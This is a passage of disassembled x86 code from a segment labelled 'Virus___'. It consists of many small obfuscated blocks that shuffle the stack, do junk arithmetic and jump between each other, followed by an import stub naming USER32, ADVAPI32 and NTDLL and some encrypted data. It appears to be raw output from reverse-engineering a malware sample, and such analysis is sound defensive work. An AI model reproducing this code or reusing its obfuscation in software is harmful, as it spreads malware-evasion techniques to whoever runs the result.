		mov	ebx, 75565A7Eh
		dec	ebx
		add	ebx, 0C38920CCh
		mov	edi, ebx
		pop	ebx
		inc	edi
		jmp	loc_5872BD
; ---------------------------------------------------------------------------


loc_593B92:				; CODE XREF: Virus___:0058BA5Dj
		push	ebp
		jmp	loc_582E0B
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_59059D
; ---------------------------------------------------------------------------


loc_593B9E:				; CODE XREF: Virus___:005866FAj
		or	ebp, ecx
		pop	ecx
		or	ebp, 74C3337Ah
		xor	ebp, 5A632C25h
		shl	ebp, 2
		jmp	loc_58628E
; ---------------------------------------------------------------------------


loc_593BB5:				; CODE XREF: Virus___:00580E7Cj
		xor	eax, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_58BE50
; ---------------------------------------------------------------------------


loc_593BC4:				; CODE XREF: Virus___:0058389Bj
		mov	ebp, 37844D23h
		or	ebp, 497D10ABh
		shr	ebp, 8
		jmp	loc_58B223
; ---------------------------------------------------------------------------


loc_593BD7:				; CODE XREF: Virus___:0058B956j
		push	ebx
		mov	ebx, 211F13C5h
		xor	eax, ebx
		mov	ebx, [esp]
		push	8FAh
		jmp	loc_58DACC
; ---------------------------------------------------------------------------


loc_593BEC:				; CODE XREF: Virus___:0058A3B3j
		shl	ecx, 8
		jmp	loc_580CF2
; ---------------------------------------------------------------------------


loc_593BF4:				; CODE XREF: Virus___:00583948j
		pop	eax
		jmp	loc_589173
; ---------------------------------------------------------------------------


loc_593BFA:				; CODE XREF: Virus___:00593E69j
		mov	eax, 43A5474Fh
		not	eax
		add	eax, 43A54754h
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5800C9
; ---------------------------------------------------------------------------


loc_593C14:				; CODE XREF: Virus___:00588098j
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	2FEBh
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_58912C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593C42:				; CODE XREF: Virus___:00581836j
		push	ebp
		jmp	loc_58940F
; ---------------------------------------------------------------------------


loc_593C48:				; CODE XREF: Virus___:005845B8j
		push	esp
		jmp	loc_582871
; ---------------------------------------------------------------------------


loc_593C4E:				; CODE XREF: Virus___:00589EBDj
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		inc	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0D946C1B2h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, eax
		jmp	loc_580D84
; ---------------------------------------------------------------------------


loc_593C70:				; CODE XREF: Virus___:005932ABj
		add	ecx, 0F60FF93Eh
		mov	edx, ecx
		pop	ecx
		jmp	loc_5900EB
; ---------------------------------------------------------------------------


loc_593C7E:				; CODE XREF: Virus___:0058A48Bj
		mov	edx, 1DD26267h
		push	ebp
		mov	ebp, 4F2B5C66h
		xor	ebp, 237328D3h
		or	ebp, 509563D5h
		jmp	loc_5842AA
; ---------------------------------------------------------------------------


loc_593C9A:				; CODE XREF: Virus___:0058B086j
		sub	si, 556h
		push	dx
		mov	dx, 4AE8h
		sub	si, dx
		pop	dx
		push	small 78DEh
		jmp	loc_587E1B
; ---------------------------------------------------------------------------


loc_593CB3:				; CODE XREF: Virus___:0058D59Dj
		add	esp, 4
		pop	edx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593CBC:				; CODE XREF: Virus___:00585E59j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593CCE:				; CODE XREF: Virus___:00594456j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58CFB1
; ---------------------------------------------------------------------------


loc_593CE5:				; CODE XREF: Virus___:0058118Dj
		push	edx
		mov	dl, 39h
		xor	dl, 0A7h
		add	dl, 54h
		jmp	loc_5853E7
; ---------------------------------------------------------------------------


loc_593CF3:				; CODE XREF: Virus___:00587233j
		inc	ebx
		xchg	ebx, esi
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_581A52
; ---------------------------------------------------------------------------


loc_593D07:				; CODE XREF: Virus___:00582450j
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59353F
; ---------------------------------------------------------------------------


loc_593D1E:				; CODE XREF: Virus___:005939E9j
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_58B7E6
; ---------------------------------------------------------------------------


loc_593D31:				; CODE XREF: Virus___:0058A241j
		sub	eax, ecx
		pop	ecx
		or	eax, 1A79090Eh
		push	ecx
		mov	ecx, 40FF09E5h
		add	ecx, 0DDC4FA37h
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 0E044D8A1h
		jmp	loc_590C31
; ---------------------------------------------------------------------------


loc_593D5A:				; CODE XREF: Virus___:0058B62Bj
		sub	[esp], edx
		jmp	loc_58571A
; ---------------------------------------------------------------------------


loc_593D62:				; CODE XREF: Virus___:00591CDFj
		add	eax, 64103156h
		sub	eax, 0E9D70295h
		jmp	loc_5919A6
; ---------------------------------------------------------------------------


loc_593D71:				; CODE XREF: Virus___:005806FEj
		mov	[esp], ebp
		mov	ebp, esp
		push	0D19h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	5DDDh
		mov	[esp], edi
		mov	edi, 3E3A0E4Ah
		neg	edi
		dec	edi
		and	edi, 5BE0634h
		jmp	loc_580351
; ---------------------------------------------------------------------------


loc_593DA1:				; CODE XREF: Virus___:00591391j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		jmp	loc_58517F
; ---------------------------------------------------------------------------


loc_593DB2:				; CODE XREF: Virus___:005846D8j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_58A319
; ---------------------------------------------------------------------------


loc_593DBB:				; CODE XREF: Virus___:005936A2j
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, esi
		pop	esi
		jmp	loc_58931B
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593DD3:				; CODE XREF: Virus___:00585802j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_590989
; ---------------------------------------------------------------------------


loc_593DEB:				; CODE XREF: Virus___:005904D8j
		pop	ecx
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5820E5
; ---------------------------------------------------------------------------


loc_593DF8:				; CODE XREF: Virus___:0059311Ej
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	bh, 4Dh
		jmp	loc_592746
; ---------------------------------------------------------------------------


loc_593E13:				; CODE XREF: Virus___:0058A718j
		xor	ecx, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593E22:				; CODE XREF: Virus___:00589360j
		pop	edi
		jmp	loc_589E30
; ---------------------------------------------------------------------------


loc_593E28:				; CODE XREF: Virus___:00591EBCj
		mov	[esp], ecx
		jmp	loc_57FA5F
; ---------------------------------------------------------------------------


loc_593E30:				; CODE XREF: Virus___:0058F1B7j
		mov	dl, 50h
		sub	dl, 8Fh
		push	ebx
		mov	bh, 9Ch
		add	bh, 18h
		jmp	loc_58011F
; ---------------------------------------------------------------------------


loc_593E40:				; CODE XREF: Virus___:0057F896j
		add	eax, 70D0271Bh
		jmp	loc_590AF9
; ---------------------------------------------------------------------------


loc_593E4A:				; CODE XREF: Virus___:005882C6j
		mov	al, [esp]
		add	esp, 4
		push	edx
		push	ecx
		jmp	loc_58F31B
; ---------------------------------------------------------------------------


loc_593E57:				; CODE XREF: Virus___:0058C0AFj
		add	edx, 25DD063Bh
		jmp	loc_591347
; ---------------------------------------------------------------------------


loc_593E62:				; CODE XREF: Virus___:005941FFj
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_593BFA
; ---------------------------------------------------------------------------


loc_593E6E:				; CODE XREF: Virus___:005879E7j
		push	1DECh
		jmp	loc_591E63
; ---------------------------------------------------------------------------


loc_593E78:				; CODE XREF: Virus___:0059061Dj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_586792
; ---------------------------------------------------------------------------


loc_593E89:				; CODE XREF: Virus___:00581112j
		add	edx, ebx
		pop	ebx
		push	eax
		jmp	loc_58287D
; ---------------------------------------------------------------------------


loc_593E92:				; CODE XREF: Virus___:00585330j
		inc	ebp
		xor	ebp, 0D3A37DFDh
		jmp	loc_58E54B
; ---------------------------------------------------------------------------


loc_593E9E:				; CODE XREF: Virus___:005917FBj
		push	edx
		jmp	loc_58056B
; ---------------------------------------------------------------------------


loc_593EA4:				; CODE XREF: Virus___:00587988j
		mov	ch, 0B4h
		add	ch, 62h
		push	bx
		mov	bl, ch
		not	bl
		mov	ch, bl
		pop	bx
		xor	ch, 4Dh
		or	ch, 4
		add	ch, 7
		sub	ah, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	dl, ah
		pop	eax
		push	edx
		mov	dh, 0BAh
		sub	bl, 23h
		sub	bl, 49h
		jmp	loc_5885B8
; ---------------------------------------------------------------------------


loc_593ED8:				; CODE XREF: Virus___:0058C742j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593EDD:				; CODE XREF: Virus___:0058E1BFj
		xchg	ecx, edx
		jmp	loc_5889C4
; ---------------------------------------------------------------------------


loc_593EE4:				; CODE XREF: Virus___:005888EDj
		shl	ecx, 3
		push	esi
		mov	esi, 66046278h
		inc	esi
		and	esi, 4110EA5h
		not	esi
		jmp	loc_594030
; ---------------------------------------------------------------------------


loc_593EFB:				; CODE XREF: Virus___:00583F70j
		and	edi, ebx
		pop	ebx
		add	edi, 0FFFFFFFFh
		push	ecx
		push	ebp
		mov	ebp, 1B2D36C1h
		add	ebp, 5A6F7ABAh
		add	ebp, 0FFFFFFFFh
		push	ebx
		mov	ebx, 7EA74B91h
		neg	ebx
		dec	ebx
		inc	ebx
		jmp	loc_581255
; ---------------------------------------------------------------------------
		push	740Dh
		mov	[esp], eax
		jmp	loc_57F6E1
; ---------------------------------------------------------------------------


loc_593F2D:				; CODE XREF: Virus___:0058C271j
		pop	eax
		sub	bl, 12h
		add	bl, dl
		add	bl, 12h
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		jmp	loc_58A8AF
; ---------------------------------------------------------------------------


loc_593F42:				; CODE XREF: Virus___:0058148Fj
		sub	ebp, esi
		jmp	loc_58187E
; ---------------------------------------------------------------------------


loc_593F49:				; CODE XREF: Virus___:0058721Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_580E93
; ---------------------------------------------------------------------------


loc_593F5D:				; CODE XREF: Virus___:00588DB5j
		push	edi
		push	17333B29h
		pop	edi
		sub	edi, 0FFFFFFFFh
		neg	edi
		inc	edi
		jmp	loc_581689
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_593F7A:				; CODE XREF: Virus___:005902F4j
		mov	[esp], eax
		jmp	loc_5921FB
; ---------------------------------------------------------------------------


loc_593F82:				; CODE XREF: Virus___:0058F36Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_590118
; ---------------------------------------------------------------------------


loc_593F92:				; CODE XREF: Virus___:0058F291j
		pop	ecx
		jmp	loc_58487C
; ---------------------------------------------------------------------------


loc_593F98:				; CODE XREF: Virus___:005891EBj
		pop	edx
		jmp	loc_587D10
; ---------------------------------------------------------------------------


loc_593F9E:				; CODE XREF: Virus___:00592EE3j
		not	edi
		xor	edi, 0BFE3D0D9h
		and	esi, edi
		mov	edi, [esp]
		jmp	loc_59017F
; ---------------------------------------------------------------------------


loc_593FB0:				; CODE XREF: Virus___:00589510j
		pop	eax
		push	0A83h
		mov	[esp], ebp
		push	eax
		jmp	loc_582388
; ---------------------------------------------------------------------------


loc_593FBF:				; CODE XREF: Virus___:0058D6A3j
		push	edx
		jmp	loc_5835C8
; ---------------------------------------------------------------------------


loc_593FC5:				; CODE XREF: Virus___:00588696j
		shl	edx, 8
		jmp	loc_586A95
; ---------------------------------------------------------------------------


loc_593FCD:				; CODE XREF: Virus___:00580FF3j
		xor	al, ch
		pop	ecx
		push	cx
		mov	cl, 0ECh
		xor	al, cl
		jmp	loc_583CEC
; ---------------------------------------------------------------------------


loc_593FDB:				; CODE XREF: Virus___:00582C4Dj
		add	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 1D704D90h
		push	esi
		mov	esi, 667E683Ah
		or	esi, 633B0A1Dh
		shl	esi, 6
		push	ebx
		mov	ebx, 549B7AE9h
		push	edi
		mov	edi, 1C905EE0h
		shl	edi, 4
		shl	edi, 6
		and	edi, 488163E7h
		jmp	loc_585335
; ---------------------------------------------------------------------------


loc_594010:				; CODE XREF: Virus___:0058DDD2j
		add	esp, 4
		add	dword ptr [esp+4], 441C5B8Dh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 441C5B8Dh
		push	edi
		jmp	loc_592BBD
; ---------------------------------------------------------------------------


loc_594030:				; CODE XREF: Virus___:00593EF6j
		xor	esi, 59A2101Bh
		sub	esi, 64505B65h
		add	esi, 0FE06BF3Eh
		add	ecx, esi
		pop	esi
		or	ecx, 27DD3DDDh
		dec	ecx
		push	5665h
		jmp	loc_59212C
; ---------------------------------------------------------------------------


loc_594056:				; CODE XREF: Virus___:005862ABj
		sub	al, 0D0h
		jmp	loc_58BED1
; ---------------------------------------------------------------------------


loc_59405D:				; CODE XREF: Virus___:0058C4F3j
		push	edi
		mov	edi, esp
		jmp	loc_58E102
; ---------------------------------------------------------------------------


loc_594065:				; CODE XREF: Virus___:0058169Ej
		mov	[esp], ebp
		pop	eax
		jmp	loc_594480
; ---------------------------------------------------------------------------
		lodsb
		push	592Dh
		mov	[esp], ebx
		push	edx
		mov	dl, 0DFh
		dec	dl
		push	ebx
		mov	bh, 6Eh
		jmp	loc_5850BE
; ---------------------------------------------------------------------------


loc_594084:				; CODE XREF: Virus___:00587A24j
		add	esi, edi
		jmp	loc_582622
; ---------------------------------------------------------------------------


loc_59408B:				; CODE XREF: Virus___:005857B8j
		add	al, 69h
		jmp	loc_58B131
; ---------------------------------------------------------------------------


loc_594092:				; CODE XREF: Virus___:00581E65j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_586ADD
; ---------------------------------------------------------------------------


loc_5940B9:				; CODE XREF: Virus___:00583026j
		add	ecx, esi
		sub	ecx, 4DBC4552h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_589766
; ---------------------------------------------------------------------------


loc_5940CA:				; CODE XREF: Virus___:0058A75Aj
		mov	edx, ebx
		jmp	loc_58CFF2
; ---------------------------------------------------------------------------


loc_5940D1:				; CODE XREF: Virus___:005905D0j
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2A8778FFh
		xor	ebp, 678900A9h
		xchg	edx, ebp
		dec	edx
		jmp	loc_581382
; ---------------------------------------------------------------------------


loc_5940F5:				; CODE XREF: Virus___:0058B1A2j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57FF35
; ---------------------------------------------------------------------------


loc_594105:				; CODE XREF: Virus___:00583E95j
		push	esp
		jmp	loc_58DC95
; ---------------------------------------------------------------------------


loc_59410B:				; CODE XREF: Virus___:00592AC1j
		add	eax, 4
		push	ebp
		mov	ebp, 341E2B59h
		sub	ebp, 59327E7Eh
		add	ebp, 25145329h
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_581968
; ---------------------------------------------------------------------------


loc_59412E:				; CODE XREF: Virus___:0058DBD4j
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ecx
		jmp	loc_590ECD
; ---------------------------------------------------------------------------


loc_59413B:				; CODE XREF: Virus___:0058A237j
		dec	eax
		push	ebp
		mov	ebp, 2D4A5F69h
		not	ebp
		and	ebp, 47F83037h
		dec	ebp
		shr	ebp, 1
		inc	ebp
		jmp	loc_5830E7
; ---------------------------------------------------------------------------


loc_594153:				; CODE XREF: Virus___:0058102Cj
		add	esp, 4
		push	ebp
		jmp	loc_58A6A5
; ---------------------------------------------------------------------------


loc_59415F:				; CODE XREF: Virus___:00591E7Ej
		mov	ebp, esp
		push	esi
		jmp	loc_59182E
; ---------------------------------------------------------------------------


loc_594167:				; CODE XREF: Virus___:00581660j
		mov	eax, [esp]
		jmp	loc_5909E7
; ---------------------------------------------------------------------------


loc_59416F:				; CODE XREF: Virus___:0058125Aj
		push	esi
		mov	esi, 8820EBB7h
		jmp	loc_5854AE
; ---------------------------------------------------------------------------
		push	1C89h
		push	esp
		pop	dword ptr [esp]
		push	esi
		jmp	loc_58A734
; ---------------------------------------------------------------------------


loc_594189:				; CODE XREF: Virus___:0058267Bj
		mov	ecx, 7EC34470h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		dec	edi
		push	ebx
		mov	ebx, 4155230Bh
		push	eax
		mov	eax, 7C2D79E8h
		or	eax, 222D2790h
		sub	eax, 5C94E79h
		and	ebx, eax
		jmp	loc_58F296
; ---------------------------------------------------------------------------


loc_5941B7:				; CODE XREF: Virus___:00589F05j
		pop	edx
		push	ecx
		mov	ecx, 41427AF6h
		xor	ecx, 41427AF2h
		sub	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5908D6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 58CD6858h, 0C890000h, 9EF4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5941E2:				; CODE XREF: Virus___:005821B8j
		mov	edx, ecx
		pop	ecx
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 0F130676Eh
		push	edx
		pop	ebp
		pop	edx
		xor	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_593E62
; ---------------------------------------------------------------------------


loc_594204:				; CODE XREF: Virus___:00591F13j
		sub	ebx, 2A0E6A33h
		jmp	loc_583954
; ---------------------------------------------------------------------------


loc_59420F:				; CODE XREF: Virus___:00584FE5j
		sub	bl, ah
		sub	bl, 1
		push	dword ptr [esp]
		pop	eax
		jmp	loc_589B6F
; ---------------------------------------------------------------------------
		lodsb
		push	7CE9h
		jmp	loc_582AAF
; ---------------------------------------------------------------------------


loc_594228:				; CODE XREF: Virus___:00586009j
		bswap	eax
		jmp	loc_5892A8
; ---------------------------------------------------------------------------


loc_59422F:				; CODE XREF: Virus___:00588E2Fj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_583BBD
; ---------------------------------------------------------------------------


loc_594240:				; CODE XREF: Virus___:005932CFj
		mov	[esp], esp
		jmp	loc_5818EA
; ---------------------------------------------------------------------------


loc_594248:				; CODE XREF: Virus___:0058FA75j
		add	eax, 4E7E513Ch
		sub	eax, 5A2A66E4h
		add	eax, esi
		add	eax, 5A2A66E4h
		sub	eax, 4E7E513Ch
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		jmp	loc_584C9F
; ---------------------------------------------------------------------------


loc_594283:				; CODE XREF: Virus___:00584D98j
		pop	ebp
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_58709A
; ---------------------------------------------------------------------------


loc_59429A:				; CODE XREF: Virus___:005881FEj
		push	edx
		mov	edx, 62152241h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_583753
; ---------------------------------------------------------------------------


loc_5942B9:				; CODE XREF: Virus___:00587309j
		push	sp
		pop	small word ptr [esp]
		push	small 743h
		mov	[esp], cx
		push	290Bh
		mov	[esp], eax
		jmp	loc_58869B
; ---------------------------------------------------------------------------


loc_5942D4:				; CODE XREF: Virus___:0058A7CAj
		sub	eax, esi
		pop	esi
		jmp	loc_5905ED
; ---------------------------------------------------------------------------


loc_5942DC:				; CODE XREF: Virus___:0057F4E5j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		push	2B0Ch
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_592983
; ---------------------------------------------------------------------------


loc_59430C:				; CODE XREF: Virus___:0058822Cj
		not	edx
		xchg	edx, esi
		xchg	esi, ebp
		sub	ebp, 0D146B891h
		add	edx, 24786194h
		add	edx, ebp
		push	esi
		push	7D366194h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_582446
; ---------------------------------------------------------------------------


loc_594334:				; CODE XREF: Virus___:00592C7Ej
		shr	edi, 6
		push	edi
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_589F11
; ---------------------------------------------------------------------------


loc_594342:				; CODE XREF: Virus___:0058D034j
		add	ax, 7B43h
		push	dx
		jmp	loc_585F0E
; ---------------------------------------------------------------------------


loc_59434D:				; CODE XREF: Virus___:0057F45Fj
		push	eax
		mov	eax, 71E830B1h
		xor	eax, 0E1F830B5h
		xor	ebp, eax
		jmp	loc_583156
; ---------------------------------------------------------------------------


loc_59435F:				; CODE XREF: Virus___:0058AFB1j
		mov	esp, [esp]
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_58855D
; ---------------------------------------------------------------------------


loc_59436F:				; CODE XREF: Virus___:0057F4C7j
		sub	ebp, 246F39CCh
		sub	ebp, 761602D0h
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_580E53
; ---------------------------------------------------------------------------


loc_59438A:				; CODE XREF: Virus___:0058E776j
		add	esp, 4
		pop	ecx
		push	eax
		mov	al, bl
		mov	[edi+28h], al
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_581A96
; ---------------------------------------------------------------------------


loc_5943A6:				; CODE XREF: Virus___:0058F205j
		push	613135B2h
		pop	esi
		add	esi, 0FFFFFFFFh
		jmp	loc_5882F6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		jmp	loc_58FC0C
; ---------------------------------------------------------------------------


loc_5943C3:				; CODE XREF: Virus___:00588502j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57F5D6
; ---------------------------------------------------------------------------


loc_5943D2:				; CODE XREF: Virus___:0058FF38j
		push	eax
		push	edx
		mov	edx, 4
		jmp	loc_5846A4
; ---------------------------------------------------------------------------


loc_5943DE:				; CODE XREF: Virus___:0058A7FDj
		xor	cl, [esp]
		xor	[esp], cl
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5943E9:				; CODE XREF: Virus___:00583640j
		xor	ebx, esi
		pop	esi
		sub	dword ptr [esp+4], 27B76143h
		add	[esp+4], ebx
		jmp	loc_58B4B5
; ---------------------------------------------------------------------------


loc_5943FD:				; CODE XREF: Virus___:0058A8EEj
		mov	[esp], eax
		push	2A85h
		mov	[esp], ecx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5916E0
; ---------------------------------------------------------------------------


loc_594411:				; CODE XREF: Virus___:00588BF7j
		dec	ecx
		jmp	loc_581BF4
; ---------------------------------------------------------------------------


loc_594417:				; CODE XREF: Virus___:00593490j
		shr	eax, 7
		shr	eax, 7
		sub	esp, 4
		jmp	loc_5813A6
; ---------------------------------------------------------------------------


loc_594425:				; CODE XREF: Virus___:005815BCj
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	533h
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		jmp	loc_58CA74
; ---------------------------------------------------------------------------


loc_59444A:				; CODE XREF: Virus___:00588802j
		add	ebp, 35961CFFh
		jmp	loc_57FF4F
; ---------------------------------------------------------------------------


loc_594455:				; CODE XREF: Virus___:00588B48j
		pop	edx
		jmp	loc_593CCE
; ---------------------------------------------------------------------------


loc_59445B:				; CODE XREF: Virus___:00587827j
		mov	edi, esi
		pop	esi
		add	dword ptr [esp+4], 24353B09h
		add	[esp+4], edi
		sub	dword ptr [esp+4], 24353B09h
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58A041
; ---------------------------------------------------------------------------


loc_594480:				; CODE XREF: Virus___:00594069j
		pop	ebp
		inc	eax
		sub	eax, 3B2B0C99h
		shr	eax, 6
		shr	eax, 5
		push	edi
		mov	edi, 67A035B2h
		jmp	loc_581DBA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6182h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 758672E4h
		dec	eax
		push	edi
		jmp	loc_58DF92
; ---------------------------------------------------------------------------


loc_5944B3:				; CODE XREF: Virus___:00581F16j
		sub	ebp, 733B209Dh
		sub	ebp, 718F20C3h
		add	ebp, 2C8B8699h
		jmp	loc_5823DD
; ---------------------------------------------------------------------------


loc_5944CA:				; CODE XREF: Virus___:00588431j
		add	esi, 2E833AF6h
		jmp	loc_58B6B0
; ---------------------------------------------------------------------------


loc_5944D5:				; CODE XREF: Virus___:005835CDj
		mov	[esp], ebp
		push	eax
		push	ecx
		mov	ecx, 6C8A0323h
		jmp	loc_5870A2
; ---------------------------------------------------------------------------


loc_5944E4:				; CODE XREF: Virus___:0058D83Ej
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_591DB4
; ---------------------------------------------------------------------------


loc_5944F6:				; CODE XREF: Virus___:0058D130j
		add	ebp, 0FFFFFFFFh
		jmp	loc_5922C7
; ---------------------------------------------------------------------------


loc_5944FE:				; CODE XREF: Virus___:00587154j
		shr	ecx, 0Bh
		push	3ED5h
		mov	[esp], ebx
		jmp	loc_588FD0
; ---------------------------------------------------------------------------


loc_59450E:				; CODE XREF: Virus___:0059174Cj
		push	ebx
		push	eax
		mov	al, 0Fh
		shr	al, 7
		sub	al, 19h
		add	al, 43h
		shl	al, 5
		and	al, 5Ah
		jmp	loc_58C62E
; ---------------------------------------------------------------------------


loc_594523:				; CODE XREF: Virus___:005852D1j
		add	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_59453A:				; CODE XREF: Virus___:00591812j
		mov	ebx, [esp]
		jmp	loc_58E2C4
; ---------------------------------------------------------------------------


loc_594542:				; CODE XREF: Virus___:00580919j
		dec	eax
		dec	eax
		add	eax, 7EA04C20h
		add	eax, 1
		xor	eax, 0DF1204C1h
		jmp	loc_590963
; ---------------------------------------------------------------------------


loc_594556:				; CODE XREF: Virus___:00583157j
		add	ecx, ebp
		jmp	loc_586ED6
; ---------------------------------------------------------------------------


loc_59455D:				; CODE XREF: Virus___:0058BA37j
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		mov	cl, bh
		pop	ebx
		mov	[edi+eax*4], cl
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_591EF0
; ---------------------------------------------------------------------------


loc_594581:				; CODE XREF: Virus___:005726CAj
		jmp	loc_5945E7
; ---------------------------------------------------------------------------
		dw 3B4Dh
		dd 535557ECh, 32335245h, 6C6C642Eh, 56444100h, 33495041h
		dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 307D8h, 1F0001h
		dd 350017h, 1600025h, 0Ah dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5945E7:				; CODE XREF: Virus___:loc_594581j
		jmp	loc_594E7B
; ---------------------------------------------------------------------------
		push	95F9BAFh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	95F9C1Dh
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	95F9D58h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	95F9E52h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	95F9EC9h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	95F9FB8h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		push	95FA025h
		jmp	loc_5729AF
; ---------------------------------------------------------------------------
		dw 0A2BCh
		dd 0CE9539B2h, 98A9058Eh, 0C59F33B8h, 0B1B21E95h, 1C6A2AA1h
		dd 57DC7CC7h, 60EB6BFBh, 53D878CCh, 61EA6AFFh, 829C0F46h
